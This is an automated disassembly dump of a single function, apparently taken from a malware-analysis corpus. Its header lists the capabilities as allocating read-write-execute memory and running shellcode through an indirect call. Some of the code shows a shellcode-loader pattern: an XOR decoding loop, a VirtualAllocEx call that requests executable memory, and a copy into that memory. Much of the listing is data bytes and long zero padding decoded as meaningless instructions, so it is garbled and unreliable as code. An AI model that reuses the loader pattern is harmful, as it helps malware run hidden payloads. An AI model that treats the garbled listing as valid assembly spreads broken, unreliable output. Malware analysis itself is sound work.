Function at 0x40a002
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
add byte gs:[eax], al
jno 0x40a009
pop edi
insd dword es:[edi], dx
insd dword es:[edi], dx
imul esp, dword [ebx + 0x6d], 0x13000070
add byte [edi], bh
aas
xor al, byte [eax + 0x59]
inc ecx
push eax
inc ebp
inc ecx
pop eax
pop edi
dec ebx
inc eax
pop edx
add byte [eax], al
lea eax, [edx]
pop edi
jo 0x40a09d
jb 0x40a08f
arpl word [ecx + 0x6c], sp
insb byte es:[edi], dx
add byte [edx + 0x6d656d04], al
insd dword es:[edi], dx
outsd dx, dword [esi]
jbe 0x40a09d
add byte [edi + 0x61657204], dl
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [eax], ax
push edx
add byte [edi + 0x58], bl
arpl word [eax + 0x74], si
inc esi
imul ebp, dword [esp + esi*2 + 0x65], 0x16c0072
pop edi
imul ebp, dword [esi + 0x69], 0x72657474
insd dword es:[edi], dx
add byte [eax + 0x6d615f00], ah
jae 0x40a0cb
pop edi
js 0x40a0d1
je 0x40a06a
add byte [ebx], dl
pop edi
pop edi
inc ebx
pop edi
jae 0x40a0e3
arpl word gs:[ecx + 0x66], bp
imul esp, dword [ebx + 0x5f], 0x646e6168
insb byte es:[edi], dx
jb 0x40a082
add byte [ebp + 0x73], ch
jbe 0x40a0ea
jb 0x40a0fd
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
inc ecx
push esp
dec esp
inc esp
dec esp
dec esp
add byte [edi], cl
inc ebp
je 0x40a113
push esp
jb 0x40a100
arpl word [ebp + 0x4d], sp
jae 0x40a118
popal
add byte gs:[bp + di], al
inc ebp
je 0x40a125
inc edi
je 0x40a106
jb 0x40a115
arpl word [ebp + 0x4c], sp
outsd dx, dword [esi]
jb 0x40a105
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
add byte gs:[edx], al
inc ebp
je 0x40a13f
inc edi
je 0x40a120
push esp
jb 0x40a12f
arpl word [ebp + 0x45], sp
outsb dx, byte [esi]
popal
bound ebp, qword [ebp + 0x4c]
jbe 0x40a13f
insb byte es:[edi], dx
add byte [eax], al
inc ecx
add byte [ebp + 0x74], al
ja 0x40a12a
je 0x40a13a
jb 0x40a149
arpl word [ebp + 0x45], sp
inc ebp
outsb dx, byte [esi]
popal
bound ebp, qword [ebp + 0x46]
insb byte es:[edi], dx
popal
jae 0x40a0f6
add byte [edx], cl
inc ebp
je 0x40a173
push edx
imul esi, dword gs:[bp + di + 0x74], 0x72547265
jae 0x40a176
jb 0x40a159
jb 0x40a168
popal
arpl word [ebp + 0x47], sp
jne 0x40a175
jae 0x40a166
add byte [eax], al
push ecx
add byte [ebp + 0x74], al
inc ebp
je 0x40a18d
ja 0x40a16c
push ebp
outsb dx, byte [esi]
jb 0x40a17f
imul esi, dword [bp + di + 0x74], 0x72547265
popal
push esp
jb 0x40a184
arpl word [ebp + 0x47], sp
inc edi
jne 0x40a191
jae 0x40a12b
add cl, dh
int1
add al, 0x52
je 0x40a19c
insb byte es:[edi], dx
push esi
imul esi, dword [edx + 0x74], 0x556c6175
outsb dx, byte [esi]
ja 0x40a1a4
imul ebp, dword [esi + 0x64], 0x4020000
push edx
outsb dx, byte [esi]
add byte fs:[eax], al
add al, byte [edx + edx*2]
je 0x40a1b0
dec esp
outsd dx, dword [esi]
outsd dx, dword [esi]
imul esi, dword [ebp + 0x70], 0x46
jo 0x40a191
jne 0x40a1bb
arpl word [ecx + ebp*2 + 0x6f], si
outsb dx, byte [esi]
inc ebp
outsb dx, byte [esi]
je 0x40a1c8
jns 0x40a158
add byte [ebx + 2], bh
jnp 0x40a15d
push edx
je 0x40a1ca
insb byte es:[edi], dx
inc ebx
popal
jo 0x40a1d6
jne 0x40a1d6
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x40a1cf
js 0x40a1e0
add byte [esi + 0x74], ch
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [esi], bl
add byte [edx + 0x65], dl
push ecx
jne 0x40a1e4
jb 0x40a1fa
push esi
popal
insb byte es:[edi], dx
jne 0x40a1eb
inc ebp
js 0x40a1e0
add byte [eax], al
add byte [eax], al
push edx
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x40a1fa
dec ebx
mov dword gs:[ebp - 0x74], 0
add byte [eax], al
jmp 0x40a1a9
mov edx, dword [ebp - 0x74]
add edx, 1
mov dword [ebp - 0x74], edx
ret 0x8901
mov eax, dword [ebp - 0x74]
cmp eax, dword [0x86bfc0]
xchg byte [eax], al
jge 0x40a1f2
mov ecx, dword [ebp - 0x74]
movsx ebx, byte [ecx + 0x86ae80]
scasb al, byte es:[edi]
xchg byte [eax], al
mov edx, dword [ebp - 0x64]
push edx
lea ecx, [ebp - 0x40]
call fcn.00412fd0
add byte [eax], al
movzx eax, word [eax]
xor ebx, eax
mov ecx, dword [ebp - 0x74]
mov byte [ecx + 0x86ae80], bl
xchg byte [eax], al
mov edx, dword [ebp - 0x64]
add edx, 1
mov dword [ebp - 0x64], edx
pushfd
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0x7c]
jl 0x40a1f0
mov dword [ebp - 0x64], 0
pushfd
add byte [eax], al
add byte [eax], al
jmp 0x40a1a0
movzx ecx, byte [0x86c88c]
test ecx, ecx
leave
je 0x40b581
push 0x13
push dword [ebp + 8]
call fcn.00409df2
mov ebx, eax
cmp ebx, 0xfffffffd
jne 0x40a21b
mov dword [esi + 0x18], 0x9ce72f0
jmp 0x40a232
cmp ebx, 0xfffffffb
je 0x40a228
mov eax, dword [ebp + 0xc]
cmp dword [eax], 0
jne 0x40a232
push 0xfffffffffffffffd
mov dword [esi + 0x18], 0x9ce72cc
pop ebx
push dword [ebp + 0x18]
push dword [esi + 0x28]
call dword [esi + 0x24]
mov eax, ebx
pop ebx
pop esi
leave
ret 0x14
push 0x40
push 0x3000
mov edx, dword [0x86ae7c]
add edx, dword [0x86bfc0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
movzx eax, byte [0x86c88c]
test eax, eax
je 0x40c8d3
clc
sub ecx, dword [edx]
add byte [eax], al
call 0x367cbf
jmp 0x40b5e3
pop edi
pop esi
mov eax, dword [ebp - 4]
leave
ret 0x14
push 0x40
push 0x3000
mov ecx, dword [ebp - 0x78]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x80], eax
movzx edx, byte [0x86c88c]
test edx, edx
je 0x40d551
call 0x3f0812
xor eax, eax
xchg dword [0x20d66], eax
test eax, eax
je 0x40c917
and dword [ebx], 0
xor eax, eax
jmp 0x40c91c
mov eax, 0x103
dec eax
add esp, 0x20
pop ebx
ret
mov eax, dword [0x86ae7c]
add eax, dword [0x86bfc0]
push eax
push 0
mov ecx, dword [ebp - 0x68]
push ecx
call fcn.00418120
add esp, 0xc
movzx edx, byte [0x86c88c]
test edx, edx
je 0x40e7ba
mov ecx, dword [eax]
lea edx, [ebp - 0x34]
push edx
push 0x40e2114
push eax
call dword [ecx]
mov edi, eax
cmp edi, ebx
jl 0x40d7fb
mov eax, dword [esi]
lea ecx, [ebp - 0x38]
push ecx
push esi
call dword [eax + 0x54]
mov edi, eax
cmp edi, ebx
jl 0x40d7fb
mov eax, dword [ebp - 0x38]
cmp eax, ebx
je 0x40d5c5
mov ecx, dword [eax]
lea edx, [ebp - 0x3c]
push edx
push 0x40e2114
push eax
call dword [ecx]
mov edi, eax
cmp edi, ebx
jl 0x40d7fb
mov eax, dword [ebp - 0x34]
cmp eax, ebx
je 0x40d5df
lea ecx, [ebp - 0xc]
push ecx
call fcn.0040d375
mov edi, eax
cmp edi, ebx
jl 0x40d7fb
mov eax, dword [ebp - 0x3c]
cmp eax, ebx
je 0x40d5f9
lea ecx, [ebp - 0x10]
push ecx
call fcn.0040d375
mov edi, eax
cmp edi, ebx
jl 0x40d7fb
mov eax, dword [esi]
lea ecx, [ebp - 0x20]
push ecx
push esi
call dword [eax + 0x20]
mov edi, eax
cmp edi, ebx
jl 0x40d7fb
mov eax, dword [esi]
lea ecx, [ebp - 0xa0]
push ecx
push esi
call dword [eax + 0x28]
mov edi, eax
cmp edi, ebx
jl 0x40d7fb
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
lea edx, [ebp - 0x40]
push edx
push 0x40e2124
push eax
call dword [ecx]
test eax, eax
jl 0x40d6c7
push 0x48
lea eax, [ebp - 0x90]
push ebx
push eax
call fcn.004101b7
mov eax, dword [ebp + 0xc]
add esp, 0xc
cmp dword [ebp + 0x10], 0xb
mov dword [ebp - 0x90], 1
mov dword [ebp - 0x8c], eax
jne 0x40d688
lea ecx, [ebp - 8]
push ecx
push eax
call fcn.0040da75
mov edi, eax
cmp edi, ebx
jl 0x40d7fb
mov dword [ebp - 0x84], 2
jmp 0x40d698
cmp dword [ebp + 0x10], 2
jne 0x40d698
mov dword [ebp - 0x84], 3
mov eax, dword [ebp - 8]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x40]
jmp 0x40d742
cmp dword [ebp + 0x10], 2
jne 0x40d6d7
mov edi, 0x80004001
jmp 0x40d7fb
push 0x48
lea eax, [ebp - 0x90]
push ebx
push eax
call fcn.004101b7
mov eax, dword [ebp + 0xc]
add esp, 0xc
lea ecx, [ebp - 0x14]
xor esi, esi
push ecx
inc esi
push eax
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x8c], eax
call fcn.0040d90c
mov edi, eax
cmp edi, ebx
jl 0x40d7fb
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x84], esi
lea edi, [ebp - 0x58]
lea esi, [ebp - 0xa0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea edx, [ebp - 4]
push edx
movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x90]
push edx
movsd dword es:[edi], dword [esi]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
mov edi, eax
cmp edi, ebx
jl 0x40d7fb
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [0x40e1124]
mov edi, eax
cmp edi, ebx
jl 0x40d7fb
lea eax, [ebp - 0x30]
push eax
push 1
push dword [ebp - 4]
call dword [0x40e1128]
mov edi, eax
cmp edi, ebx
jl 0x40d7fb
mov esi, dword [ebp - 0x30]
inc esi
mov dword [ebp - 0x30], esi
je 0x40d7b9
cmp dword [ebp - 0x28], ebx
jne 0x40d7b9
push esi
push ebx
call dword [0x40e112c]
mov dword [ebp + 0x10], eax
cmp eax, ebx
jne 0x40d7df
push 0x8007000e
call fcn.0040a46f
push esi
push dword [ebp - 0x28]
call fcn.0040dcb8
mov dword [ebp + 0x10], eax
cmp eax, ebx
jne 0x40d7df
cmp esi, ebx
jne 0x40d7af
mov esi, ebx
push dword [ebp + 0x10]
call dword [0x40e10e0]
mov eax, dword [ebp + 0x14]
mov dword [eax], esi
jmp 0x40d7fb
push ebx
call dword [0x40e10e0]
lea esi, [ebp + 0x10]
call 0x4088b0
mov esi, eax
cmp esi, ebx
jne 0x40d7cf
jmp 0x40d7af
mov esi, dword [0x40e1120]
cmp dword [ebp - 0x14], ebx
jne 0x40d8ff
cmp dword [ebp - 8], ebx
je 0x40d867
lea eax, [ebp + 0xc]
push eax
push 1
push dword [ebp - 8]
mov dword [ebp + 0xc], ebx
call dword [0x40e1128]
test eax, eax
jl 0x40d7fb
mov eax, dword [ebp + 0xc]
inc eax
mov dword [ebp + 0x10], ebx
test eax, eax
jle 0x40d862
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp + 0x10]
push eax
push dword [ebp - 8]
call dword [0x40e1130]
test eax, eax
jl 0x40d856
push dword [ebp - 0xa8]
call esi
mov dword [ebp - 0xa8], ebx
inc dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
inc eax
cmp dword [ebp + 0x10], eax
jl 0x40d830
push dword [ebp - 8]
call esi
cmp dword [ebp - 0xc], ebx
je 0x40d871
push dword [ebp - 0xc]
call esi
cmp dword [ebp - 0x10], ebx
je 0x40d87b
push dword [ebp - 0x10]
call esi
cmp dword [ebp - 4], ebx
je 0x40d888
push dword [ebp - 4]
call esi
mov dword [ebp - 4], ebx
lea eax, [ebp - 0xa0]
push eax
call dword [0x40e10fc]
push dword [ebp - 0x20]
mov esi, dword [0x40e10e0]
call esi
mov eax, dword [ebp - 0x40]
cmp eax, ebx
je 0x40d8ad
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x3c]
cmp eax, ebx
je 0x40d8ba
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x34]
cmp eax, ebx
je 0x40d8c7
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x38]
cmp eax, ebx
je 0x40d8d4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x2c]
cmp eax, ebx
je 0x40d8e1
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push ebx
call esi
push ebx
call esi
push dword [ebp - 0x18]
call esi
push dword [ebp - 0x1c]
call esi
push dword [ebp - 0x24]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x10
push dword [ebp - 0x14]
jmp 0x40d865
mov eax, dword [ebp - 0x78]
push eax
push 0
mov ecx, dword [ebp - 0x80]
push ecx
call fcn.00418120
add esp, 0xc
push 0x20
push 0x86acd8
lea edx, [ebp - 0x60]
push edx
call fcn.00417620
add esp, 0xc
movzx eax, byte [0x86c88c]
test eax, eax
je 0x40f476
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ecx + 0x74], sp
outsd dx, dword [esi]
jb 0x40e837
inc edi
inc eax
xor al, byte [eax + 0x40]
jae 0x40e872
inc eax
inc eax
push ecx
inc edx
inc ebp
dec ecx
push eax
inc edx
inc edi
dec ecx
dec ecx
inc eax
pop edx
add al, ah
add dword [edi], edi
aas
cmp byte [ebx + 0x74], dh
inc eax
inc eax
pop ecx
inc ecx
pop edi
dec esi
inc ecx
inc edx
push esi
aas
and al, 0x62
popal
jae 0x40e88d
arpl word [edi + 0x73], bx
je 0x40e89b
imul ebp, dword [esi + 0x67], 0x3f554740
and al, 0x63
push 0x745f7261
jb 0x40e89a
imul esi, dword [ebx + esi*2 + 0x40], 0x74734047
inc eax
inc eax
push esi
aas
and al, 0x61
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ecx + 0x74], sp
outsd dx, dword [esi]
jb 0x40e891
inc edi
inc eax
xor al, byte [eax + 0x40]
xor byte [eax + 0x30], al
inc eax
pop edx
add byte [eax], al
inc esi
add eax, 0x6e69663f
inc eax
aas
and al, 0x62
popal
jae 0x40e8d4
arpl word [edi + 0x73], bx
je 0x40e8e2
imul ebp, dword [esi + 0x67], 0x3f554740
inc eax
inc edi
push ebp
aas
and al, 0x63
push 0x745f7261
jb 0x40e8e1
imul esi, dword [ebx + esi*2 + 0x40], 0x74734047
inc eax
inc eax
push esi
aas
and al, 0x61
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ecx + 0x74], sp
outsd dx, dword [esi]
jb 0x40e8d8
inc edi
inc eax
xor al, byte [eax + 0x40]
inc eax
inc eax
jae 0x40e913
inc eax
inc eax
push ecx
inc edx
inc ebp
dec ecx
push eax
inc edx
inc edi
dec ecx
dec ecx
inc eax
pop edx
add byte [eax], al
add al, 0x3f
popal
jae 0x40e928
imul esp, dword [edi + 0x6e], 0x62243f40
popal
jae 0x40e928
arpl word [edi + 0x73], bx
je 0x40e936
imul ebp, dword [esi + 0x67], 0x3f554740
and al, 0x63
push 0x745f7261
jb 0x40e935
imul esi, dword [ebx + esi*2 + 0x40], 0x74734047
inc edi
inc eax
jae 0x40e950
inc eax
inc eax
push esi
aas
and al, 0x61
popal
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ecx + 0x74], sp
outsd dx, dword [esi]
jb 0x40e92c
inc edi
inc eax
xor al, byte [eax + 0x40]
jae 0x40e967
inc eax
inc eax
push ecx
inc ecx
inc ebp
inc ecx
inc ecx
push esi
xor dword [edx], esi
inc eax
push eax
inc edx
inc edi
dec ecx
inc eax
pop edx
add byte [eax], al
dec ebp
push ebx
push esi
inc ebx
push eax
xor byte ss:[esi], ch
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [esi + 2], bl
jb 0x40e97d
pop esi
add ah, byte [esi + 0x72]
add byte gs:[eax], al
add byte gs:[eax], al
sub al, 2
pop edi
ja 0x40e994
outsd dx, dword [esi]
imul eax, dword [eax], 0x616d0291
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [eax], ax
add dh, ah
add dh, byte [edi + 0x63]
jae 0x40e99f
outsb dx, byte gs:[esi]
add byte [eax], al
dec ecx
add byte [edi + 0x5f], bl
add byte [ecx], cl
pop edi
pop edi
inc ebx
js 0x40e9b6
inc esi
jb 0x40e9a2
insd dword es:[edi], dx
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
jb 0x40e94b
loope 0x40e94f
ja 0x40e9b2
jae 0x40e9b4
arpl word [ebp + 0x70], bp
add byte [eax], al
dec ebp
push ebx
insd dword es:[edi], dx
jo 0x40e954
add byte [ebp + 0x53], cl
push esi
inc ebx
push edx
push esp
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
rol dword [eax], cl
pop edi
js 0x40e9d0
je 0x40e969
dec eax
add byte [edi + 0x58], bl
arpl word [eax + 0x74], si
inc esi
imul ebp, dword [esp + esi*2 + 0x65], 0x2490072
js 0x40e9e5
je 0x40e97e
add byte [eax], al
pop dword [eax]
pop edi
popal
arpl word [ebp + 0x64], bp
insb byte es:[edi], dx
add byte [edi + 0x63615f00], cl
insd dword es:[edi], dx
insb byte es:[edi], dx
outsb dx, byte [esi]
add byte [eax], bl
pop edi
pop edi
je 0x40e9fe
popal
imul ebp, dword [esi + 0x61], 0x736772
popal
jb 0x40e9fe
jae 0x40e999
lidt [edi + 0x69]
outsb dx, byte [esi]
imul esi, dword [esp + esi*2 + 0x65], 0x83006d72
add byte [edi + 0x5f], bl
jae 0x40ea10
je 0x40ea15
jb 0x40ea11
jb 0x40ea11
add byte [ebx + 0x735f5f00], al
je 0x40ea22
je 0x40ea22
jae 0x40ea14
jb 0x40ea1e
popal
je 0x40ea1c
jb 0x40ea29
jb 0x40e9b8
add byte [eax], al
popfd
add byte [edi + 0x61], bl
push 0x75
add byte [ebp + 0x64615f00], bl
push 0x75
jae 0x40ea36
pop edi
imul si, word fs:[esi], 0x6a00
add byte [edi + 0x5f], bl
jo 0x40ea2e
pop edi
arpl word [edi + 0x6d], bp
insd dword es:[edi], dx
outsd dx, dword [esi]
add byte gs:[eax], al
outsd dx, dword [esi]
add byte [edi + 0x5f], bl
jo 0x40ea3e
pop edi
add byte [eax], al
arpl word [ebp + 0x70], sp
je 0x40ea62
push 0x6c646e61
jb 0x40ea3e
add byte [eax], al
mov bh, 0
pop edi
arpl word [edi + 0x6e], bp
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x40ea87
jb 0x40ea85
outsd dx, dword [esi]
insb byte es:[edi], dx
jo 0x40ea1a
add byte [esi], ah
add dword [edi + 0x65], eax
je 0x40ea6e
je 0x40ea6e
outsd dx, dword [esi]
jne 0x40ea91
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
inc ecx
add byte [eax], al
push eax
add dword [edi + 0x65], eax
je 0x40ea88
add byte [eax + 1], dl
inc edi
je 0x40ea88
je 0x40ea98
popal
jb 0x40eaad
jne 0x40eaab
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
outsd dx, dword [esi]
inc ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
